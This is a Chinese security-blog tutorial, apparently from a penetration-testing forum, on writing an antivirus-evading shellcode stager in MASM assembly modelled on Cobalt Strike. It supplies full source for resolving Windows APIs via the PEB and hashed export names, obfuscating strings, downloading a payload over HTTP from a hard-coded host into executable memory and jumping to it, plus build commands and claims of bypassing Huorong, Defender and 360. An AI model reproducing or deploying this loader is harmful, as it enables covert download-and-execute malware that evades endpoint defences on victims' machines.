编译汇编代码实现免杀

在前面的文章中读过CobaltStrike的汇编代码,整体的思路就是用某种函数将shellcode加载到内存,然后跳到写入shellcode内存的地方执行

0x01 前言

在前面的文章中读过CobaltStrike的汇编代码,整体的思路就是用某种函数将shellcode加载到内存,然后跳到写入shellcode内存的地方执行

如果只是调用函数,不可避免的会让函数在导入表中

用GetProcAddress在没有加密的情况下函数名会出现在.data段中

某天逛倾旋大佬博客的时候,发现大佬直接写汇编代码用nasm编译成obj文件,再使用link生成exe

那shellcode本就是汇编语言,稍加修改不就可以直接编译成exe了吗

这样避免了导入表会存在函数,也不会出现在C中用VirtualAlloc开一块空间,然后shellcode又开一块空间的情况,直接使用汇编加载完整shellcode就可以了

本次文章就来简单实现一下

0x02 编译器&&基础知识

这次的编译器选择的是masm32

https://www.masm32.com/

大佬文章中用的是nasm,实际测试的时候nasm对低版本windows的兼容性有点差,到winxp就执行不了了

当然也有可能是链接器有问题,网上实在找不到老版本的链接器..

下面是masm的格式

  1. .386 ;声明需要使用386CPU指令,当然还有486586这里就不展开了
  2. .MODEL flat ;代码段和数据段同用4GB的内存空间
  3. .STACK ;定义栈段,windows中栈是操作系统划分的,一般不定义
  4. .DATA ;数据段
  5. .CODE ;代码段

有了这些就可以开始写代码了

先整理一下思路,准备写个简单点的

  1. 在数据段存放混淆过的函数名和参数,再开出一些空间用来存放后面得到的函数指针
  2. 通过PEB找到kernel32.dll的地址然后找到GetProcAddress地址
  3. 写一个解密用的函数,不需要太复杂,但是最好不要用xor,这个指令还是有点敏感
  4. 把函数名解密,用GetProcAddress找到函数的地址存放到在数据段开的空间
  5. 得到全部需要用到的函数指针,最后就正常的调用函数

0x03 代码编写

数据段

首先是.data段

因为是模仿CS写的,用的函数也是shellcode里面的那些

  1. .DATA
  2. Point0 db 4 dup(0) ;GetProcAddress
  3. Point1 db 4 dup(0) ;VirtualAlloc
  4. ;db是伪指令意思是指define byte,还有dw-worddd-dworddupduplicate的缩写是重复的意思
  5. ;db 4 dup(0)是指重复写入四字节的0,这里的意思就是留一个四字节的空间用来存放函数指针
  6. ;当然别的数字也没关系因为这里要覆盖掉的
  7. Point0_dll db 4 dup(0) ;kernel32.dll
  8. Point1_dll db 4 dup(0) ;wininet.dll
  9. ;这里和上面一样用来存放dll的地址
  10. Dll1 db 74h,6ah,6dh,6ah,6dh,66h,77h,2dh,67h,6fh,6fh,00h ;wininet.dll
  11. func1 db 55h,6ah,71h,77h,76h,62h,6fh,42h,6fh,6fh,6ch,60h,00h ;VirtualAlloc
  12. ;这里是混淆后的dll名称和函数名称,在结尾要加上0,不然字符串会一直连接下去不能截取
  13. func4_param db "aa"
  14. func5_param db 32h,33h,2dh,37h,33h,2dh,33h,31h,31h,31h,31h,0
  15. func6_param0 db "HTTP/100",00h
  16. func6_param1 db "/z9q8",00h
  17. func6_param2 db "GET",00
  18. ;这些就是一些参数了,可以选择混淆也可以明文,ip地址最好混淆一下

上面没写全,就差不多这个意思,别的函数和dll啥的都可以按照上面来

数据段

  1. .CODE
  2. _START:
  3. ;固定格式不用这个会提示warning A4023: with /coff switch, leading underscore required for start address : START
  4. ;这里开始写汇编代码
  5. call Strlen ;就是调用Strlen函数,下面是具体的实现
  6. Strlen:
  7. xor ecx,ecx
  8. mov esi,[esp+8]
  9. s:lodsb
  10. inc ecx
  11. cmp AL,0
  12. jnz s
  13. dec ecx
  14. ret
  15. END _START

混淆实现

之前尝试过,xor关键字很容易被识别出来,整个简单点的,所有字符的十六进制-1好了

  1. ; win.asm
  2. .386
  3. .MODEL flat
  4. .STACK
  5. .DATA
  6. func1 db 55h,6ah,71h,77h,76h,62h,6fh,42h,6fh,6fh,6ch,60h,00h ;VirtualAlloc
  7. .CODE
  8. _START:
  9. push offset DWORD PTR func3
  10. ;这是的offset是伪指令,意思是取func1的地址,如果直接 push func1取的是前面四个字符
  11. Decode:
  12. mov ebx,[esp+4]
  13. ;当前esp的值是call下面的要执行的代码的地址,所以+4取到push进来的值
  14. ;因为要改字符都要-1所以要先得到字符串的长度,这样可以只要需要循环几次
  15. ;需要写一个得到字符串长度的函数
  16. call Strlen ;调用Strlen,这时候长度在ecx寄存器,直接用loop指令
  17. x:mov AL, BYTE PTR [ebx + ecx - 1]
  18. ;ebx是指向被混淆的字符串的指针,加上ecx这个指针就到了末尾,最后-1就到了最后一个字符,中括号就和C语言中的&是相同的,用BYTE PTR设定了取一字节存入AL
  19. inc AL ;因为设定的是混淆的字符串是-1,+1后就正确了
  20. mov BYTE PTR [ebx + ecx - 1], AL ;最后把动过的字符串放回原来的位置
  21. loop x ;如果ecx不为0那么到x位置继续循环
  22. ret 4 ;前面push
  23. Strlen:
  24. xor ecx,ecx ;首先把ecx置零
  25. mov esi,[esp+8] ;因为这里又call了所以要取esp+8的位置,放到esi里面
  26. s:lodsb
  27. ;lodsb执行一次会把esi执行的第一个字节存入al中,然后esi+1
  28. inc ecx ;自加1
  29. cmp AL,0 ;对比AL是否为0,不为0标志位不动
  30. jnz s ;要是标志为不为1跳回s位置重新执行
  31. dec ecx ;因为这里ecx是算上0的,所以要减1
  32. ret 4 ;返回,因为前面有一个push为了堆栈平衡所以要多弹出4字节
  33. END _START

完整代码

可以先用python生成混淆后的字符串

  1. a = "LoadLibraryA"
  2. for i in range(0, len(a)):
  3. print(hex((ord(a[i]))-1).replace("0x",""),end="h,")
  4. print("00h")
  1. ; win.asm
  2. .386
  3. .MODEL flat
  4. .STACK
  5. .DATA
  6. Point0 db 4 dup(0) ;GetProcAddress
  7. Point1 db 4 dup(0) ;VirtualAlloc
  8. Point2 db 4 dup(0) ;
  9. Point3 db 4 dup(0) ;
  10. Point4 db 4 dup(0) ;InternetOpenA
  11. Point5 db 4 dup(0) ;InternetConnectA
  12. Point6 db 4 dup(0) ;HttpOpenRequestA
  13. Point7 db 4 dup(0) ;HttpSendRequestA
  14. Point8 db 4 dup(0) ;InternetReadFile
  15. Point0_dll db 4 dup(0) ;kernel32.dll
  16. Point1_dll db 4 dup(0) ;wininet.dll
  17. Dll1 db 76h,68h,6dh,68h,6dh,64h,73h,2dh,63h,6bh,6bh,00h ;wininet.dll
  18. func1 db 55h,68h,71h,73h,74h,60h,6bh,40h,6bh,6bh,6eh,62h,00h ;VirtualAlloc
  19. func3 db 4bh,6eh,60h,63h,4bh,68h,61h,71h,60h,71h,78h,40h,00h ;LoadLibraryA
  20. func4 db 48h,6dh,73h,64h,71h,6dh,64h,73h,4eh,6fh,64h,6dh,40h,00h ;InternetOpenA
  21. func5 db 48h,6dh,73h,64h,71h,6dh,64h,73h,42h,6eh,6dh,6dh,64h,62h,73h,40h,00h ;InternetConnectA
  22. func6 db 47h,73h,73h,6fh,4eh,6fh,64h,6dh,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpOpenRequestA
  23. func7 db 47h,73h,73h,6fh,52h,64h,6dh,63h,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpSendRequestA
  24. func8 db 48h,6dh,73h,64h,71h,6dh,64h,73h,51h,64h,60h,63h,45h,68h,6bh,64h,00h ;InternetReadFile
  25. func4_param db "aa"
  26. func5_param db 30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h
  27. func6_param0 db "HTTP/100",00h
  28. func6_param1 db "/5quA",00h
  29. func6_param2 db "GET",00
  30. ;上面都是一些函数名,dll名,参数啥的,存在数据段
  31. .CODE
  32. ASSUME FS:NOTHING ;指定FS,不然用FS+0x30PEB会找不到
  33. _START:
  34. call Getkernel32DLL ;找kerner32.dll的地址
  35. mov DWORD PTR [Point0_dll], ebx ;上一个函数结束后kernel32的地址在
  36. call Get_Function ;找到GetProcAddress的地址
  37. mov DWORD PTR [Point0],edx ;地址存入Point0
  38. push offset DWORD PTR func3 ;压入混淆后的字符串
  39. call Decode ;解码,正确的字符串会覆盖在原先的位置
  40. push offset DWORD PTR Dll1
  41. call Decode
  42. mov eax,DWORD PTR [Point0_dll] ;kernel32的地址存入eax
  43. push offset DWORD PTR func3 ;压入函数名
  44. push eax ;压入地址
  45. call DWORD PTR [Point0] ;调用GetProcAddress函数
  46. push offset DWORD PTR Dll1 ;上面得到的是LoadLibraryA的地址,这时候eax是指向LoadLibraryA的函数指针,这里push wininet的字符串,下面直接call eax就可以加载wininet.dll
  47. call eax ;call LoadLibraryA
  48. mov DWORD PTR [Point1_dll], eax ;wininet地址存入Point1_dll
  49. push offset DWORD PTR func4
  50. call Decode
  51. mov eax, DWORD PTR [Point1_dll]
  52. push offset DWORD PTR func4
  53. push eax
  54. call DWORD PTR [Point0]
  55. mov DWORD PTR [Point4], eax
  56. push offset DWORD PTR func5
  57. call Decode
  58. mov eax, DWORD PTR [Point1_dll]
  59. push offset DWORD PTR func5
  60. push eax
  61. call DWORD PTR [Point0]
  62. mov DWORD PTR [Point5], eax
  63. push offset DWORD PTR func6
  64. call Decode
  65. mov eax, DWORD PTR [Point1_dll]
  66. push offset DWORD PTR func6
  67. push eax
  68. call DWORD PTR [Point0]
  69. mov DWORD PTR [Point6], eax
  70. push offset DWORD PTR func7
  71. call Decode
  72. mov eax, DWORD PTR [Point1_dll]
  73. push offset DWORD PTR func7
  74. push eax
  75. call DWORD PTR [Point0]
  76. mov DWORD PTR [Point7], eax
  77. push offset DWORD PTR func1
  78. call Decode
  79. mov eax, DWORD PTR [Point0_dll]
  80. push offset DWORD PTR func1
  81. push eax
  82. call DWORD PTR [Point0]
  83. mov DWORD PTR [Point1], eax
  84. push offset DWORD PTR func8
  85. call Decode
  86. mov eax, DWORD PTR [Point1_dll]
  87. push offset DWORD PTR func8
  88. push eax
  89. call DWORD PTR [Point0]
  90. mov DWORD PTR [Point8], eax
  91. ;上面都是类似的操作,把字符串压入然后解密,得到的函数指针存入数据段中
  92. push offset DWORD PTR func5_param ;ip地址解密
  93. call Decode
  94. push 0
  95. push 0
  96. push 0
  97. push 1
  98. push offset DWORD PTR func4_param
  99. call DWORD PTR [Point4] ;调用InternetOpenA
  100. push 0
  101. push 0
  102. push 3
  103. push 0
  104. push 0
  105. push 52h ;这里是端口
  106. push offset DWORD PTR func5_param
  107. push eax
  108. call DWORD PTR [Point5] ;InternetConnectA
  109. push 0
  110. push 4000000h
  111. push 0
  112. push 0
  113. push offset DWORD PTR func6_param0
  114. push offset DWORD PTR func6_param1
  115. push offset DWORD PTR func6_param2
  116. push eax
  117. call DWORD PTR [Point6] ;HttpOpenRequestA
  118. mov DWORD PTR [Point2],eax ;将得到的句柄存入Point2
  119. push 0
  120. push 0
  121. push 0
  122. push 0
  123. push eax
  124. call DWORD PTR [Point7] ;HttpSendRequestA
  125. push 40h
  126. push 1000h
  127. push 400000h
  128. push 0
  129. call DWORD PTR [Point1] ;VirtualAlloc
  130. push offset DWORD PTR Point3
  131. push 400000h
  132. push eax
  133. mov edi,eax ;VirtualAlloc的地址存入edi
  134. mov eax,DWORD PTR [Point2]
  135. push eax
  136. call DWORD PTR [Point8] ;InternetReadFile
  137. push edi ;edi入栈,这时候存的是VirtualAlloc开辟的地址
  138. ret ;跳到VirtualAlloc开辟的地址执行
  139. Getkernel32DLL:
  140. xor ecx,ecx
  141. mov eax,fs:[ecx+30h]
  142. mov eax, [eax+0Ch]
  143. mov esi, [eax+14h]
  144. lodsd
  145. xchg eax, esi
  146. lodsd
  147. mov ebx,[eax+10h]
  148. ret
  149. Get_Function:
  150. mov edx,[ebx+3ch]
  151. add edx,ebx
  152. mov edx, [edx+78h]
  153. add edx, ebx
  154. mov esi, [edx+20h]
  155. add esi, ebx
  156. xor ecx,ecx
  157. getfunc:inc ecx
  158. lodsd
  159. add eax,ebx
  160. cmp DWORD PTR [eax], 50746547h
  161. jnz getfunc
  162. cmp DWORD PTR [eax+4], 41636f72h
  163. jnz getfunc
  164. mov esi, [edx+24h]
  165. add esi, ebx
  166. mov cx, [esi + ecx * 2]
  167. dec ecx
  168. mov esi, [edx+1ch]
  169. add esi, ebx
  170. mov edx, [esi + ecx * 4]
  171. add edx, ebx
  172. ret
  173. Decode:
  174. mov ebx,[esp+4]
  175. call Strlen
  176. x:mov AL, BYTE PTR [ebx + ecx - 1]
  177. inc AL
  178. mov BYTE PTR [ebx + ecx - 1], AL
  179. loop x
  180. ret 4
  181. Strlen:
  182. xor ecx,ecx
  183. mov esi,[esp+8]
  184. s:lodsb
  185. inc ecx
  186. cmp AL,0
  187. jnz s
  188. dec ecx
  189. ret
  190. END _START

然后用下面的指令编译,ml和link都在masm32/bin目录下

  1. ml /c /coff /Cp masm.asm #编译为obj文件
  2. link /subsystem:windows masm.obj #生成exe文件

实测此方法是可以过火绒和wdf的

360在刚编译好的时候是查不出来的,但是在机器上放一下就会杀掉了,应该是有模拟运行这样的东西,毕竟静态混淆过了,动态执行后在内存中该复原的还是要复原

用了myccl找了一下特征码,数据段提示的是那几个被混淆过的字符串

代码段是搜索GetProcAddress函数的位置

  1. cmp DWORD PTR [eax], 50746547h
  2. jnz getfunc
  3. cmp DWORD PTR [eax+4], 41636f72h

看来要学习一下CS的shellcode的写法了

0x04 重新编写

  1. 存入一个特征码
  2. 得到导入表中的函数数量,存入ecx中
  3. 遍历函数名称,字符右移13位,遍历完函数名后对比特征码,如果不同ecx-1,如果相同话就拿ecx去找函数实际地址

本来还需要得到dll名称的长度再加上后面混淆后的字符,对比特征码的,偷懒不写了

这是cs取函数的方法,尽可能的避免了字符串的出现

和上面一样,要先写出混淆的代码,这里用汇编语言来实现

  1. ;confusion.asm
  2. .386
  3. .MODEL flat,stdcall ;调用约定为stdcall
  4. includelib kernel32.lib
  5. includelib msvcrt.lib ;包含msvcrt.lib,这样才可以调用里面的函数
  6. strcmp PROTO C, :DWORD,:DWORD
  7. printf PROTO C, :VARARG ;定义参数类型
  8. LoadLibraryA PROTO :DWORD ;加载dll用到
  9. .STACK
  10. .DATA
  11. func db "LoadLibraryA",00h ;LoadLibraryA 要找的函数的函数名
  12. dll db "wininet.dll" ;指定要找的函数的动态链接库
  13. Point0 db 4 dup(0) ;kernel32地址
  14. func_name db 4 dup(0) ;遍历的函数名
  15. tz db 4 dup(0),00h ;混淆后的内容
  16. hex db "%x",00h ;打印的结果以十六进制显示
  17. .CODE
  18. ASSUME FS:NOTHING
  19. _START:
  20. push offset dword ptr dll
  21. call LoadLibraryA ;加载dlldll地址存入Point0
  22. mov DWORD PTR [Point0], eax
  23. mov ebx, eax ;dll地址存入ebx
  24. mov edx,dword ptr ds:[ebx+3ch]
  25. add edx, ebx
  26. mov edx,dword ptr ds:[edx+78h]
  27. add edx, ebx
  28. mov ecx,dword ptr ds:[edx+18h] ;NumberOfNames得到函数数量
  29. mov edx,dword ptr ds:[edx+20h] ;AddressOfNames函数名称的偏移
  30. add edx, ebx ;AddressOfNames地址
  31. a:dec ecx ;ecx-1
  32. mov esi,dword ptr ds:[edx+ecx*4] ;得到函数名称偏移
  33. add esi,ebx ;得到函数名称地址
  34. mov dword ptr [func_name],esi ;得到的函数名称存入func_name
  35. xor edi,edi ;xor置零
  36. x:xor eax,eax ;eax置零
  37. lodsb
  38. rol edi, 2
  39. add edi,eax ;上面就是简单的混淆
  40. cmp al,0 ;如果对比到0说明函数名遍历结束
  41. jnz x
  42. mov dword ptr [tz], edi ;得到的特征存入tz
  43. pushad ;全部寄存器全部入栈,因为strcmp执行后会修改几个寄存器的值,为了保证寄存器的值一样,先入栈保存
  44. push offset dword ptr func ;要找的函数名
  45. push DWORD PTR func_name ;遍历到的函数名
  46. call strcmp ;执行strcmp
  47. pop ebx ;因为strcmp不会内平栈所以pop弹出参数
  48. pop ebx ;同上
  49. cmp eax,0 ;对比是否相同
  50. popad ;复原寄存器
  51. jnz a
  52. push dword ptr tz ;相同就走到这里特征入栈
  53. push offset dword ptr hex ;以十六进制显示
  54. call printf ;调用函数
  55. END _START
  56. ;ml /c /coff /Cp confusion.asm
  57. ;link /subsystem:console /libpath:c:\masm32\lib confusion.obj 这里用console打印的结果会在控制台显示,windows的话不显示控制台,然后要设定lib的路径

0x6fceae14——LoadLibraryA
0xb7a84d25——InternetOpenA
0xea07de71——InternetConnectA
0x737cae72——HttpOpenRequestA
0x7524ae72——HttpSendRequestA
0x79c5937c——VirtualAlloc
0xea134901——InternetReadFile

  1. ; win.asm
  2. .386
  3. .MODEL flat
  4. .STACK
  5. .DATA
  6. Point1 db 4 dup(0) ;VirtualAlloc
  7. Point2 db 4 dup(0) ;
  8. Point3 db 4 dup(0) ;
  9. Point4 db 4 dup(0) ;InternetOpenA
  10. Point5 db 4 dup(0) ;InternetConnectA
  11. Point6 db 4 dup(0) ;HttpOpenRequestA
  12. Point7 db 4 dup(0) ;HttpSendRequestA
  13. Point8 db 4 dup(0) ;InternetReadFile
  14. Point0_dll db 4 dup(0) ;kernel32.dll
  15. Point1_dll db 4 dup(0) ;wininet.dll
  16. IED_struct db 4 dup(0) ;IMAGE_EXPORT_DIRECTORY结构指针
  17. func1 db 7ch,93h,0c5h,79h ;VirtualAlloc
  18. func3 db 14h,0aeh,0ceh,6fh ;LoadLibraryA
  19. func4 db 25h,4dh,0a8h,0b7h ;InternetOpenA
  20. func5 db 71h,0deh,07h,0eah ;InternetConnectA
  21. func6 db 72h,0aeh,7ch,73h ;HttpOpenRequestA
  22. func7 db 72h,0aeh, 24h,75h ;HttpSendRequestA
  23. func8 db 01h,49h,13h,0eah ;InternetReadFile
  24. func4_param db "aa"
  25. func5_param db "10.130.4.205",00h
  26. func6_param0 db "HTTP/100",00h
  27. func6_param1 db "/5quA",00h
  28. func6_param2 db "GET",00
  29. .CODE
  30. ASSUME FS:NOTHING
  31. _START:
  32. call Getkernel32DLL
  33. mov DWORD PTR [Point0_dll], ebx
  34. push dword ptr func3
  35. push dword ptr Point0_dll
  36. call Decode
  37. push 0074656eh
  38. push 696e6977h
  39. push esp
  40. call eax
  41. mov dword ptr [Point1_dll], eax
  42. push dword ptr func4
  43. push eax
  44. call Decode
  45. mov dword ptr Point4,eax
  46. push dword ptr func5
  47. push dword ptr Point1_dll
  48. call Decode
  49. mov dword ptr Point5,eax
  50. push dword ptr func6
  51. push dword ptr Point1_dll
  52. call Decode
  53. mov dword ptr Point6,eax
  54. push dword ptr func7
  55. push dword ptr Point1_dll
  56. call Decode
  57. mov dword ptr Point7,eax
  58. push dword ptr func8
  59. push dword ptr Point1_dll
  60. call Decode
  61. mov dword ptr Point8,eax
  62. push dword ptr func1
  63. push dword ptr Point0_dll
  64. call Decode
  65. mov dword ptr Point1,eax
  66. push 0
  67. push 0
  68. push 0
  69. push 1
  70. push offset DWORD PTR func4_param
  71. call DWORD PTR [Point4]
  72. push 0
  73. push 0
  74. push 3
  75. push 0
  76. push 0
  77. push 52h
  78. push offset DWORD PTR func5_param
  79. push eax
  80. call DWORD PTR [Point5]
  81. push 0
  82. push 4000000h
  83. push 0
  84. push 0
  85. push offset DWORD PTR func6_param0
  86. push offset DWORD PTR func6_param1
  87. push offset DWORD PTR func6_param2
  88. push eax
  89. call DWORD PTR [Point6]
  90. mov DWORD PTR [Point2],eax
  91. push 0
  92. push 0
  93. push 0
  94. push 0
  95. push eax
  96. call DWORD PTR [Point7]
  97. push 40h
  98. push 1000h
  99. push 400000h
  100. push 0
  101. call DWORD PTR [Point1]
  102. push offset DWORD PTR Point3
  103. push 400000h
  104. push eax
  105. mov edi,eax
  106. mov eax,DWORD PTR [Point2]
  107. push eax
  108. call DWORD PTR [Point8]
  109. jmp s
  110. s:jmp edi
  111. int 3
  112. Getkernel32DLL:
  113. xor ecx,ecx
  114. mov eax,fs:[ecx+30h]
  115. mov eax, [eax+0Ch]
  116. mov esi, [eax+14h]
  117. lodsd
  118. xchg eax, esi
  119. lodsd
  120. mov ebx,[eax+10h]
  121. ret
  122. Decode:
  123. mov ebx,[esp+4]
  124. mov eax,[esp+8]
  125. mov edx,dword ptr ds:[ebx+3ch]
  126. add edx, ebx
  127. mov edx,dword ptr ds:[edx+78h]
  128. add edx, ebx
  129. mov dword ptr [IED_struct], edx
  130. mov ecx,dword ptr ds:[edx+18h]
  131. mov edx,dword ptr ds:[edx+20h]
  132. add edx, ebx
  133. a:dec ecx
  134. mov esi,dword ptr ds:[edx+ecx*4]
  135. add esi,ebx
  136. xor edi,edi
  137. x:xor eax,eax
  138. lodsb
  139. rol edi, 2
  140. add edi,eax
  141. cmp al,0
  142. jnz x
  143. cmp dword ptr [esp+8h],edi
  144. jnz a
  145. mov edx,dword ptr [IED_struct]
  146. mov eax,dword ptr ds:[edx+24h]
  147. add eax,ebx
  148. mov cx,word ptr ds:[eax+ecx*2]
  149. mov edx, dword ptr ds:[edx+1ch]
  150. add edx,ebx
  151. mov eax,dword ptr ds:[edx+ecx*4]
  152. add eax,ebx
  153. ret 8
  154. END _START

这方法可以过常见的杀软,但是丢到vir上面查杀的还是挺多的

可以用到花指令,各种同义指令,少用call,jmp,push这类的,可以当一种思路

  • 发表于 2022-05-10 09:36:04
  • 阅读 ( 9355 )
  • 分类:内网渗透

4 条评论

Macchiato
Macchiato

13 篇文章